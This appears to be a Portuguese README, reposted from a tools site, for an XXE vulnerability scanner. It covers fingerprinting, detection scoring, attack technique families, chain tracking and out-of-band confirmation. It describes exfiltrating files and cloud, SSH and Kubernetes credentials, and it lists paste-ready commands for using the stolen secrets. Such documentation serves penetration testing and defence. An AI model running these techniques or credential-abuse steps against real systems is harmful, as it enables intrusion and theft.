    10. **Bypass de WAF (opcional).** Se `--bypass-waf` estiver definido, todo o catálogo de payloads é reenviado através de cada encoder selecionado. Executa *após* as fases principais para que um acerto direto seja encontrado antes da varredura codificada.
    11. **Rollup de chain.** `ChainTracker.emit_rollup_findings()` percorre templates completados e emite um achado de rollup por conclusão.
    12. **Relatório.** Os resultados são serializados para JSON, SARIF e/ou HTML autocontido.
    
    Cada fase é executada dentro de `_run_phase`, que captura qualquer exceção, registra o traceback sob `--debug` e continua para a próxima fase. Um achado emitido antes de um crash não pode ser perdido.
    
    ---
    
    ## Metodologia de Fingerprinting
    
    A fase de fingerprint responde a duas perguntas: **qual stack XML está em execução**, e **quais capacidades de resolução de entidades ela expõe**. Ambas orientam a seleção de fases — um alvo que rejeita DOCTYPE inteiramente não precisa que a varredura de DTD local seja executada contra ele.
    
    ### Sondas de capacidade
    
    Nove sondas emparelhadas, cada uma com um payload de teste e um payload de controle:
    
    | Capacidade | Teste | Condição de sucesso (teste passa, controle não) |
    |---|---|---|
    | `dtd_allowed` | DOCTYPE benigno com uma declaração de elemento | `200`, string marcadora presente |
    | `dtd_entity_syntax_accepted` | DOCTYPE com uma declaração de entidade (não usada) | `200`, marcador presente |
    | `dtd_parsed_but_not_resolved` | DOCTYPE com entidade declarada e referenciada | `200`, `&x;` bruto visível (parser manteve não expandido) |
    | `internal_entity` | Entidade interna expandida | `200`, marcador presente, `&x;` ausente |
    | `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, saída parece um hostname, sem markup, sem entidade bruta |
    | `parameter_entity` | Stager de entidade de parâmetro interna | `200`, `PE_MARKER` presente, `&inner;` ausente |
    | `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, ou `Connection refused` / `Failed to load` / `IO error` presente |
    
    O controle é a mesma requisição com um corpo benigno. Uma capacidade só é marcada como `True` se o predicado de sucesso do teste passar **e** o do controle não. É isso que torna o fingerprint diferencial em vez de baseado em correspondência de padrões — um alvo que sempre retorna `200 OK` não pode relatar falsamente "DTD permitido".
    
    ### Correspondência de assinaturas
    
    Corpos de resposta das sondas (e qualquer corpo de resposta `5xx`) acumulam em um buffer de texto de erro. Esse buffer é comparado contra onze famílias de assinaturas:
    
    | Família | Strings representativas |
    |---|---|
    | `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
    | `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
    | `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
    | `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
    | `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
    | `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
    | `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
    | `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
    | `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
    | `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
    | `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |
    
    A família com mais acertos vence. A família `libxml2` é deliberadamente a maior — classes de exceção do lxml, os nomes das funções C subjacentes e os diagnósticos legíveis do libxml2 todos contam, então um alvo usando lxml é distinguido com confiança de um usando o `etree` da stdlib do Python (que é expat e corresponde à família `python_etree`).
    
    ### Cache em disco
    
    Os resultados de fingerprint são armazenados em cache em `~/.cache/xxeripper/fingerprints.json`, indexados pela URL do alvo. Uma entrada em cache armazena o nome do parser vencedor, o dict completo de capacidades e um timestamp. Varreduras repetidas da mesma URL pulam a fase de sondagem inteiramente.
    
    O cache é estável entre execuções a menos que a stack XML do alvo mude. Em CI, aponte `HOME` para um diretório de cache persistido para economizar as requisições de sondagem a cada execução. Exclua o arquivo ou passe `--no-fingerprint-cache` para invalidar.
    
    ### Gating de capacidade
    
    Duas fases consomem o resultado do fingerprint:
    
    - **Leitura de arquivo in-band** — pulada se o fingerprint teve sucesso e relatou nenhuma capacidade de resolução de entidades em todo o conjunto de `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed`.
    - **Varredura de DTD local baseada em erro** — mesmo gate. A sub-técnica de entidade malformada é executada independentemente, porque tem sucesso em stacks (Xerces, .NET) que não precisam de um DTD local.
    
    O gate só dispara se o fingerprint *teve sucesso* (ou seja, pelo menos uma capacidade é `True` e há uma família de parser vencedora). Um fingerprint que retornou tudo `False` — o que acontece quando o alvo não faz parsing de XML — é tratado como "desconhecido" e as fases são executadas incondicionalmente. Isso evita o modo de falha em que um fingerprint mal configurado suprime achados reais.
    
    Passe `--no-fingerprint` para desabilitar a fase e o gate inteiramente.
    
    ---
    
    ## Metodologia de Detecção
    
    O pipeline de detecção é deliberadamente em camadas. Cada camada é um veto ou um peso, e cada uma tem um modo de falha específico que foi projetada para prevenir.
    
    ### Camada 1 — Baseline estatística
    
    Sete requisições `POST` benignas são enviadas antes de qualquer payload de ataque. A partir dessas amostras:
    
    - **Comprimento mediano do corpo** — usado para pontuação de delta de comprimento.
    - **Tempo decorrido mediano** e **IQR** — usados para pontuação de anomalia de timing.
    - **Código de status modal** — usado para pontuação de mudança de status.
    - **Hash de corpo mais comum** — usado para o veto de sem mudança.
    - **Entropia de Shannon mediana** sobre todo o corpo — usada como verificação de sanidade de limite inferior.
    - **Entropia em janelas mediana** sobre janelas de 256 bytes — usada para a pontuação de anomalia de entropia.
    - **União de todos os corpos de amostra** — usada para a verificação de erro de parser ancorada na baseline.
    
    As estatísticas de baseline são a âncora. Cada decisão de pontuação subsequente compara uma resposta candidata contra essa baseline, não contra um limiar fixo.
    
    ### Camada 2 — Vetos
    
    Os vetos rejeitam ruído óbvio antes da pontuação. Dois são rígidos, um é suave.
    
    **Veto de reflexão (rígido, −100).** Se o corpo da resposta contém uma substring de 40 caracteres do payload (após decodificação de URL e normalização de espaços em branco), o payload foi ecoado verbatim sem resolução de entidades. Esta é a fonte única mais comum de falsos positivos em scanners ingênuos — todo endpoint "teste o parser XML" que ecoa sua entrada pareceria vulnerável de outra forma.
    
    **Penalidade de reflexão suave (−30).** Se a reflexão é detectada mas a resposta *também* carrega um sinal forte (um fingerprint de arquivo, um callback OOB correlacionado, integridade de chain, ou um erro de parser de alta confiança), o veto rígido é rebaixado para uma penalidade de −30. Isso lida com o caso em que uma leitura de arquivo real está embutida dentro de uma página que também ecoa parte da requisição.
    
    **Veto de sem mudança (rígido, −50).** Se o corpo da resposta é byte-idêntico ao hash de corpo mais comum da baseline, o payload não mudou nada. `strong_signal` rebaixa isso para uma pontuação normal sem o veto.
    
    **Correspondência de baseline normalizada (rígido, −75).** Mesmo quando o hash difere, a resposta pode ser estruturalmente idêntica após remover espaços em branco, blobs hex, números longos, tokens CSRF e IDs de sessão. Se sim, é ruído de baseline. Mesmo gate `strong_signal`.
    
    **Anomalia de entropia (apenas para cima).** Só dispara quando `median_length >= 256`. A entropia de resposta inteira é dominada pela mobília da página ao redor e perde pequenas regiões embutidas de alta entropia — um resultado de leitura de arquivo em uma página de erro grande. A varredura em janelas (janelas de 256 bytes, passo de 128 bytes, primeiros 16 KiB) captura essas. Escala de +5 a 0,5 bits/byte acima da baseline até +20 a 4,0 bits/byte acima da baseline.
    
    ### Camada 3 — Sinais positivos
    
    Cada candidato sobrevivente é pontuado contra a baseline:
    
    | Sinal | Peso | Âncora de baseline |
    |---|---|---|
    | Fingerprint de conteúdo de arquivo | +40, +5 por indicador extra | Indicador não deve aparecer em corpos de baseline |
    | Integridade de chain (entidade resolvida ponta a ponta, não apenas declarada) | +25 | Estrutural — resposta faz parsing como conteúdo, não como markup |
    | Erro de parser (alto / médio / baixo) | +20 / +15 / +5 | String de erro não deve aparecer em corpos de baseline |
    | Anomalia de timing confirmada | +20 | Delta ≥1,5s, razão ≥2,5× mediana, e delta ≥4× IQR ou delta ≥2× jitter observado |
    | Anomalia de entropia em janelas | +5 a +20 | Apenas para cima, escalado pelo delta de bits/byte |
    | Callback OOB correlacionado | +50 | Token no subdomínio de callback corresponde ao token pendente |
    | Callback OOB não correlacionado | +15 | Callback chegou mas o token não correspondeu |
    | Delta de comprimento (≥20%) | +10 | Contra comprimento mediano |
    | Mudança de status | +5 | Contra status modal |
    
    Fingerprints de arquivo exigem **pelo menos duas** strings indicadoras para corresponder, e a resposta não deve parecer markup. É isso que impede uma página que menciona `root:x:0:0:` em um trecho de documentação de disparar o detector de `/etc/passwd`.
    
    ### Camada 4 — Classificação
    
    | Pontuação | Sinal obrigatório | Famílias independentes | Resultado |
    |---|---|---|---|
    | ≥70 | Sim | ≥2 | **Confirmado** — CRITICAL |
    | 45–69 | Sim | qualquer | **Potencial** — HIGH |
    | 25–44 | Sim | qualquer | **Potencial** — MEDIUM |
    | <25 | Sim | qualquer | **Teórico** — LOW *(suprimido)* |
    | qualquer | Não | qualquer | **Teórico** — INFO *(suprimido)* |
    
    **Sinais obrigatórios** são limitados a três: `file_type` (um fingerprint de conteúdo de arquivo correspondeu), `oob_correlated` (um callback OOB cripto-correlacionado chegou) e `chain_integrity` (a entidade resolveu ponta a ponta). Erros de parser e anomalias de timing contribuem para a pontuação mas não podem confirmar um achado por conta própria — um erro de parser diz que o payload chegou ao parser, não que a entidade resolveu; um delta de timing diz que o alvo demorou mais, não que uma busca de rede ocorreu.
    
    **Famílias independentes** conta *tipos* distintos de evidência: `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`. O requisito de duas famílias significa que mesmo com pontuação ≥70, um único fingerprint forte não pode promover para CRITICAL por conta própria. Ele precisa de um segundo sinal independente — um erro de parser específico da resposta XXE, ou uma anomalia de timing, ou integridade de chain.
    
    ### Camada 5 — Construção de confiança ao longo da varredura
    
    Cada fase vê uma imagem mais confiante do alvo do que a anterior. O fingerprint é executado primeiro e faz o gating das fases de leitura de arquivo. As fases de leitura de arquivo produzem loot, que semeia estágios de chain. Estágios de chain completam templates, que produzem rollups. Os rollups são tratados como achados por direito próprio e aparecem em todos os formatos de saída.
    
    O resultado é um scanner que trata "limpo" como um estado a ser verificado em vez de assumido, e relata cobertura em cada estágio para que o operador possa distinguir entre "o alvo não é vulnerável" e "o alvo nunca foi testado".
    
    ### Iscas de falso positivo no laboratório
    
    Os laboratórios incluídos vêm com dezessete endpoints seguros especificamente projetados para disparar um scanner que reporta em excesso. As cinco iscas de baseline:
    
    - `/xml/safe` — faz parsing com entidades desabilitadas. Scanners corretos relatam `[OK]`.
    - `/xml/noise` — retorna um corpo aleatório por requisição. A normalização de baseline captura isso.
    - `/xml/stripped` — faz parsing de XML mas remove declarações ENTITY primeiro. Um scanner que trata "o parser executou" como um achado falhará aqui.
    - `/xml/silent` — faz parsing mas remove o DOCTYPE antes do parsing. Nenhuma entidade permanece. Isca de falso negativo.
    - `/xml/safe-metadata` — retorna strings com formato AWS dentro de HTML. O fingerprint de arquivo exige dois indicadores mais não-markup para disparar — a resposta aqui é markup.
    
    Mais doze contrapartes seguras com escopo correspondente (`/xml/safe-form`, `/xml/safe-query`, `/xml/safe-svg`, `/xml/safe-saml`, `/xml/safe-soap`, `/xml/safe-multipart`, `/xml/safe-docx`, `/xml/safe-xinclude`, `/xml/safe-xinclude-xml`, `/xml/safe-xslt`, `/xml/safe-xsd`, `/xml/safe-pi`) que executam a mesma verificação de escopo que sua contraparte vulnerável mas fazem parsing com entidades desabilitadas. Qualquer achado em qualquer um desses dezessete endpoints é um bug do scanner.
    
    ---
    
    ## Motor de Acurácia
    
    Pontuação ponderada com **gates de sinal obrigatório**. Cada resposta candidata é pontuada contra a baseline estatística. Esta seção detalha os pesos e limiares; a seção [Metodologia de Detecção](#detection-methodology) explica o raciocínio.
    
    | Sinal | Peso |
    |---|---|
    | Callback OOB correlacionado | +50 |
    | Fingerprint de conteúdo de arquivo | +40 (+5 por indicador adicional) |
    | Integridade de chain (entidade resolvida, não apenas declarada) | +25 |
    | Delta de erro de parser (alto / médio / baixo) | +20 / +15 / +5 |
    | Anomalia de timing confirmada | +20 |
    | Anomalia de entropia em janelas | +5 a +20, escalado pelo delta de bits/byte |
    | Callback OOB não correlacionado | +15 |
    | Delta de comprimento (desvio ≥20%) | +10 |
    | Mudança de código de status | +5 |
    | Penalidade de reflexão (sinal forte presente) | −30 |
    | Veto de reflexão (sem sinal forte) | −100 |
    | Veto de sem mudança | −50 |
    | Correspondência de baseline normalizada | −75 |
    
    **Entropia em janelas** usa janelas deslizantes de 256 bytes (passo de 128 bytes, primeiros 16 KiB). Dispara apenas quando `median_length >= 256`, apenas em mudanças para cima, e apenas quando o delta excede 0,5 bits/byte. Escala de +5 no limiar até +20 a 4,0 bits/byte.
    
    | Pontuação | Sinal obrigatório | Famílias independentes | Resultado |
    |---|---|---|---|
    | ≥70 | Sim | ≥2 | **Confirmado** — CRITICAL |
    | 45–69 | Sim | qualquer | **Potencial** — HIGH |
    | 25–44 | Sim | qualquer | **Potencial** — MEDIUM |
    | <25 | Sim | qualquer | **Teórico** — LOW *(suprimido)* |
    | qualquer | Não | qualquer | **Teórico** — INFO *(suprimido)* |
    
    **Achados de timing são sempre `potential`, não `confirmed`** — um delta de timing diz que o alvo demorou mais, não que uma entidade foi resolvida.
    
    ### Mapeamento CWE
    
    Busca por prefixo mais longo primeiro. Achados XXE carregam CWE-611; achados de divulgação de informação adicionam CWE-200; SSRF-via-entidade, os fetchers XSLT/XSD e todo achado `XXE-CLOUD-METADATA-*` adicionam CWE-918; `expect://` do PHP e os wrappers `XXE-RCE-*` adicionam CWE-78; Billion Laughs é CWE-776; reuso de DTD local baseado em erro adiciona CWE-829; `XXE-SAML-PRESIG` adiciona CWE-347; `XXE-WAF-BYPASS-*` adiciona CWE-693; a fase de desserialização YAML adiciona CWE-502.
    
    ---
    
    ## Técnicas de Ataque
    
    Mais de trinta famílias em dez classes.| Classe | Técnicas | Severidade | CWE |
    |---|---|---|---|
    | In-band | Leitura clássica de ficheiro, cadeia de filtros PHP, SSRF via entidade | CRITICAL | 611, 200, 918 |
    | In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
    | Error-based | Reutilização de DTD local, Entidade malformada | CRITICAL | 611, 200, 829 |
    | Blind | DNS OOB, DTD externo OOB, Entidade de parâmetro OOB, bypass CDATA, Baseado em timing | CRITICAL / HIGH | 611 |
    | Bypass de codificação | UTF-16, UTF-7, UCS-4, DOCTYPE alternativo | HIGH | 611 |
    | Sinks alternativos | XInclude (`parse='text'`, `parse='xml'`), upload de SVG, envelope SAML, envelope SOAP | CRITICAL | 611, 918 |
    | Fetchers estendidos | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, PI `xml-stylesheet`, campo XML multipart, upload de DOCX | HIGH / CRITICAL | 611, 918 |
    | Metadados cloud | AWS IMDSv1, AWS IMDSv2 (detetado), credenciais AWS IAM, AWS user-data, GCP token/project, Azure IMDS/managed-identity, Alibaba RAM, OCI, segredos Kubernetes | CRITICAL / HIGH | 611, 918, 200 |
    | Wrappers RCE | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
    | Pré-assinatura SAML | Corpo da asserção analisado antes da verificação da assinatura | HIGH | 611, 347 |
    | JSON-to-XML | Troca de Content-type em endpoints apenas JSON | HIGH | 611, 200 |
    | Documento Office | PI `xml-stylesheet` de DOCX/XLSX obtido por processadores XSLT do lado do servidor | CRITICAL | 611, 918 |
    | Desserialização YAML | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
    | DoS | Billion Laughs | HIGH | 776 |
    
    **As fases de vetor de entrega** sondam para além da forma padrão `POST` + `application/xml`:
    
    - **Matriz de Content-Type** — o payload clássico sob nove content types adjacentes a XML. Muitos servidores só encaminham para o seu parser XML quando o Content-Type corresponde.
    - **Variação de método HTTP** — `PUT` e `PATCH`. As APIs REST aceitam frequentemente XML nesses métodos mesmo quando `POST` é apenas JSON.
    - **Injeção por parâmetro de query** — `?xml=`, `?data=`, `?payload=`, `?input=`. APIs legadas e gateways aceitam frequentemente XML desta forma mesmo quando o corpo não é analisado como XML.
    - **Troca JSON-to-XML** — uma sonda XML benigna determina se o endpoint aceita `application/xml` juntamente com o JSON anunciado. Se não for rejeitado de forma rígida com `415`, o scanner prossegue com um payload clássico de leitura de ficheiro. Isto deteta Spring MVC com `jackson-dataformat-xml` no classpath (que aceita silenciosamente XML em qualquer endpoint `@RequestBody`, sem necessidade de anotação).
    
    **Os metadados cloud** são uma fase dedicada, não apenas uma entrada numa lista de URLs. São sondados onze endpoints em seis fornecedores. Cada um é identificado por impressão digital contra chaves específicas do fornecedor (`AccessKeyId`, `SecretAccessKey`, `SecurityToken` para AWS IAM; `access_token`, `expires_in`, `token_type` para GCP OAuth; `vmId`, `subscriptionId` para Azure; etc.). Uma resposta que contenha marcadores de credenciais é promovida a CRITICAL e não é mais sondada. **Deteção de IMDSv2**: uma resposta AWS com estado `401` e `token` no corpo é reportada como `XXE-CLOUD-METADATA-IMDSV2` (HIGH) — a primitiva SSRF existe mas o serviço de metadados exige um token de sessão. As credenciais extraídas são encaminhadas através de `LootStore.add_secret` e aparecem no separador Loot da WebUI com snippets prontos a colar.
    
    **Os wrappers XXE-to-RCE** são sondados pelos seus sinais característicos de sucesso:
    
    | Wrapper | Sinal |
    |---|---|
    | Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
    | PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
    | PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
    | PHP `glob:///etc/*` | Listagens de caminhos (`/etc/`, `/root/`, `/usr/`) |
    | PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |
    
    **Pré-assinatura SAML** — os fornecedores de serviços SAML têm de analisar o corpo da asserção antes de verificar a assinatura, a sequência que a CVE-2026-28809 (esaml) expôs. A fase envia primeiro uma asserção SAML bem formada com uma assinatura deliberadamente inválida; um erro de parser ou um `200` sinaliza que o endpoint chegou à análise XML. Só então é enviado o payload XXE. É executada automaticamente em URLs com forma SAML (`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`), ou incondicionalmente com `--saml`.
    
    **XSLT em documentos Office** — o PI `xml-stylesheet` é honrado por processadores de documentos do lado do servidor em algumas configurações: renderizadores de pré-visualização do Word, conversores PDF, LibreOffice headless e Apache POI XSLF. A fase constrói um DOCX (ou XLSX) mínimo cuja parte `word/document.xml` (ou `xl/workbook.xml`) transporta o PI a apontar para um XSLT controlado pelo atacante. Um callback correlacionado prova que a folha de estilos foi obtida. Distinto de XXE no sentido estrito — é invocação XSLT, que encadeia para divulgação de ficheiros (`document('file:///etc/passwd')`) e SSRF.
    
    **Desserialização YAML** — CWE-502, não CWE-611. O scanner inclui quatro sondas: PyYAML `!!python/object/apply:os.system` e SnakeYAML `!!javax.script.ScriptEngineManager`, cada uma entregue tanto como corpo `application/x-yaml` em bruto como dentro de um wrapper XML. Um callback correlacionado prova RCE. A fase para após o primeiro sucesso; as variantes alternativas seriam ruído.
    
    **Fases de alvo de ficheiro** — conjunto de prioridade de 21 caminhos por predefinição; `--full-file-scan` expande para 58 caminhos, adicionando percursos Linux `/proc`, código-fonte de aplicações e ficheiros `.env`, caminhos de credenciais SSH/AWS/GCP, marcadores de contentores, `/run/secrets/*`, a projeção de service-account do Kubernetes, e backups SAM do Windows, ficheiros unattend, logs IIS e credenciais de administrador. Desduplicados no momento do scan; nenhum caminho é sondado duas vezes.
    
    **Os achados baseados em erros são divididos** porque as técnicas têm sucesso contra parsers diferentes:
    
    - `XXE-ERROR-BASED-LOCAL-DTD` — sequestra um DTD que já existe no sistema de ficheiros alvo. Usa a forma de DOCTYPE externo aceite pelo libxml2 ≥2.9.
    - `XXE-ERROR-BASED-MALFORMED` — declara uma entidade de parâmetro dentro do subconjunto interno e deixa o erro do parser vazar o ficheiro. Funciona em Xerces e .NET; o libxml2 rejeita PEs do subconjunto interno ao nível do C.
    
    **As sondas de timing** apontam a entidade para um endereço RFC 5737 TEST-NET-1 (`http://192.0.2.1/`), que é garantidamente não encaminhável. A resolução da entidade bloqueia no timeout de ligação TCP do resolver.
    
    **Fases opt-in:** `--timing` (mantém três ligações de ~5s por alvo), `--unsafe` (Billion Laughs), `--svg` (fases com forma de upload), `--saml` (pré-assinatura SAML), `--full-file-scan` (lista de ficheiros estendida), `--bypass-waf` (ver abaixo).
    
    ---
    
    ## Cadeias de Exploração e Extração de Loot
    
    Dois subsistemas transformam achados individuais em narrativa.
    
    ### Rastreador de cadeias
    
    Cada achado que passa por `add_finding` semeia etapas de cadeia através de um único hook: `_record_chain_stages` lê o ID do achado e o dicionário de evidências e regista quaisquer etapas que a combinação implique. Um achado com uma chave de evidência `file_type` regista `xxe_confirmed`. Um achado com um `loot_id` regista `file_content_recovered`. Um achado cujas evidências contenham `extracted_credentials` regista `credential_extracted`; se a credencial for uma chave privada SSH, `ssh_key_extracted` também dispara. E assim por diante.
    
    Estão definidos treze modelos de cadeia. Cada um requer um conjunto de etapas. Quando todas as etapas necessárias estão presentes, a cadeia dispara **uma vez** (protegida contra condições de corrida de concorrência) e emite um achado agregado:
    
    | ID da Cadeia | Caminho | Severidade |
    |---|---|---|
    | `xxe_inband_file_credential_theft` | XXE → leitura de ficheiro in-band → roubo de credenciais | CRITICAL |
    | `xxe_imds_iam_aws_takeover` | XXE → IMDS → credenciais IAM → tomada de conta AWS | CRITICAL |
    | `xxe_error_based_file_recovery` | XXE → fuga baseada em erro → conteúdo de ficheiro recuperado | HIGH |
    | `xxe_php_source_disclosure` | XXE → filtro PHP → divulgação de código-fonte | CRITICAL |
    | `xxe_rce_chain` | XXE → wrapper de protocolo → cadeia RCE confirmada | CRITICAL |
    | `xxe_blind_oob_confirmed` | XXE → callback OOB cego confirmado | HIGH |
    | `xxe_ssrf_internal_enum` | XXE → SSRF → serviço interno alcançado | HIGH |
    | `xxe_waf_bypass_confirmed` | XXE → bypass WAF → resolução de entidade confirmada | HIGH |
    | `xxe_kubernetes_cluster_takeover` | XXE → API de segredos Kubernetes → roubo de credenciais do cluster | CRITICAL |
    | `xxe_k8s_serviceaccount_token` | XXE → leitura de token SA no cluster | CRITICAL |
    | `xxe_ssh_key_lateral_movement` | XXE → chave privada SSH → primitiva de movimento lateral | HIGH |
    | `xxe_gcp_oauth_token_extraction` | XXE → metadados GCP → extração de token OAuth | CRITICAL |
    | `xxe_azure_managed_identity` | XXE → Azure IMDS → token de identidade gerida | CRITICAL |
    
    Os achados agregados transportam um rasto de passos serializável em JSON, uma pontuação agregada de 100 e uma cadeia de razões de comprimento total. Aparecem na saída JSON, SARIF e HTML como qualquer outro achado, e o seu prefixo de ID (`XXE-CHAIN-`) é excluído da sementeira de cadeias para que nunca entrem em ciclo.
    
    ### Armazenamento de loot
    
    Cada achado de leitura de ficheiro passa por `LootStore`, que:
    
    1. Extrai o conteúdo bruto do ficheiro do corpo da resposta via `FileContentExtractor`. O extrator despacha por `(file_path, fingerprint_type)`: `/etc/passwd` e `/etc/shadow` têm matchers orientados a linhas com fallback a meio da linha para erros de parser que vazam um prefixo de caminho; chaves SSH usam limites PEM; `.env`, `web.ini`, `system.ini`, `boot.ini` têm matchers de estilo INI; `web.config` usa um matcher de elemento de configuração; `/proc/self/environ` lida com corpos delimitados por NUL. Um fallback genérico extrai blocos `<pre>` / `<textarea>` / `<code>` de respostas de markup.
    2. Trunca para 256 KB (as credenciais são extraídas do conteúdo completo antes do truncamento).
    3. Desduplica por SHA-256 do conteúdo.
    4. Executa `CredentialExtractor` sobre o conteúdo completo.
    
    `CredentialExtractor` reconhece sete tipos de credenciais:
    
    | Tipo | Origem | Confiança |
    |---|---|---|
    | `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
    | `aws_iam` (INI) | Ficheiro de credenciais AWS CLI (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
    | `alibaba_ram` | Metadados Alibaba Cloud (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
    | `ssh_private_key` | Blocos de chave privada PEM (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
    | `gcp_service_account` | JSON de service-account (`"type": "service_account"` + `private_key_id`) | 85 |
    | `oauth_token` | Metadados GCP e resposta de identidade gerida Azure (`access_token` + `expires_in` / `expires_on`) | 85 |
    | `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) ou um ficheiro de token de service-account simples | 90 |
    | `generic_bearer` | Qualquer correspondência `Bearer <token>` ou `Authorization: <token>` com um token de 24+ caracteres | 40 |
    
    Cada credencial produz uma lista de snippets de shell prontos a colar:
    
    - **AWS IAM** — `aws sts get-caller-identity` para verificar se a chave ainda funciona, `aws s3 ls`, enumeração de políticas IAM, e um bloco `export` para a shell atual.
    - **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls`, e um bloco `export` com as variáveis de ambiente `ALIBABA_CLOUD_*` corretas.
    - **Chave privada SSH** — instalar, impressão digital e tentar contra `github.com` / `gitlab.com` / `bitbucket.org`.
    - **Service account GCP** — ativar a chave com `gcloud auth activate-service-account`.
    - **Token de acesso OAuth** — `curl` contra o endpoint userinfo da Google (funciona para tokens GCP) e o endpoint de subscrições da Azure (funciona para tokens Azure).
    - **Token de service-account Kubernetes** — snippets `kubectl --token=…` construídos com o namespace e o nome do service-account descodificados das claims do JWT, mais um comando `jq` para inspecionar as claims do token sem verificar a assinatura.
    - **Bearer genérico** — `curl` contra `httpbin.org/bearer` para testar se o token ainda está ativo.
    
    As credenciais extraídas são anexadas tanto às evidências do achado (`extracted_credentials`) como à entrada de loot (`credentials`). O separador **Loot** da WebUI e o separador **Overview** do Inspector renderizam-nas inline com botões de cópia por comando. O relatório HTML inclui-as na secção *Extracted loot*.
    
    O valor completo da credencial aparece na pré-visualização do Loot. A máscara foi removida na v1.0.0 porque o mesmo valor já está visível sem máscara no Inspector, na saída JSON, na saída SARIF e no relatório HTML — mascarar num local e não nos outros não servia propósito algum.
    
    ### Encaminhamento de loot entre técnicas
    
    A extração de loot é executada em cada achado cujo corpo de resposta contenha conteúdo de ficheiro analisável:
    
    - **Leituras de ficheiro in-band** — `/etc/passwd`, `/etc/shadow`, chaves SSH, `.env`, etc. Extraídas diretamente da resposta.
    - **Fugas baseadas em erro** — o conteúdo do ficheiro está embutido no texto do erro do parser. O matcher de `/etc/passwd` a meio da linha apanha-o.
    - **Saída de filtro PHP** — descodificada de base64 antes da extração, depois encaminhada através do extrator de credenciais.
    - **Resoluções XInclude** — o conteúdo inline é analisado pelo mesmo extrator.
    - **Respostas de metadados cloud** — as credenciais são extraídas e encaminhadas através de `LootStore.add_secret`, e os IDs de loot resultantes são anexados às evidências do achado como `loot_ids`.
    - **Exfiltração OOB cega** — quando `--oob-listen` ou `--oob-dtd-dir` está ativo (ou o servidor DTD alojado na WebUI), o callback transporta conteúdo de ficheiro, `OOBExfilExtractor` extrai-o, e o resultado passa pelos mesmos extratores de conteúdo de ficheiro e de credenciais que uma leitura in-band.
    
    O caminho de exfiltração cega é o que muda o que a ferramenta é. Antes dele, `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` dizia "o alvo obteve o nosso DTD." Depois dele, o mesmo achado transporta `loot_id`, `extracted_content_preview` e `extracted_credentials` nas suas evidências, o rastreador de cadeias vê o loot e pode disparar `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`, e o separador Loot da WebUI renderiza o ficheiro recuperado com os mesmos snippets prontos a colar que uma leitura in-band.
    
    ---
    
    ## Confirmação Out-of-Band
    
    O XXERipper usa o **`interactsh-client`** como backend OOB. Existem dois modos.
    
    ### Modo manual (predefinição)
    
    O scanner constrói payloads sob o domínio da sua sessão; o cliente faz o registo, o polling e a desencriptação. O scanner nunca fala o protocolo Interactsh.```bash
    # Terminal A
    interactsh-client -v
    # [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
    
    # Terminal B
    xxeripper https://target.com/api/xml \
        --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
    

    Quando a varredura termina, o resumo de cada alvo inclui um bloco [OOB] listando cada payload enviado, agrupado com seu rótulo de técnica:``` [1/1] [MANUAL-OOB] https://target.com/api/xml Parser: libxml2 [!] 3 phase(s) skipped: - multipart_docx, svg (no --svg and no upload-shaped URL) - dos (no --unsafe) [OOB] 7 payload(s) dispatched — watch your interactsh-client terminal - [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro DNS-only parameter entity (blind parser fingerprint) - [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro External DTD fetch (blind file exfiltration via DTD) ...

    root@kitploit:~
    Quando o `interactsh-client` imprime uma interação, faça a correspondência do prefixo do subdomínio de volta à linha `[OOB]` correspondente. Essa correspondência é a sua confirmação.
    
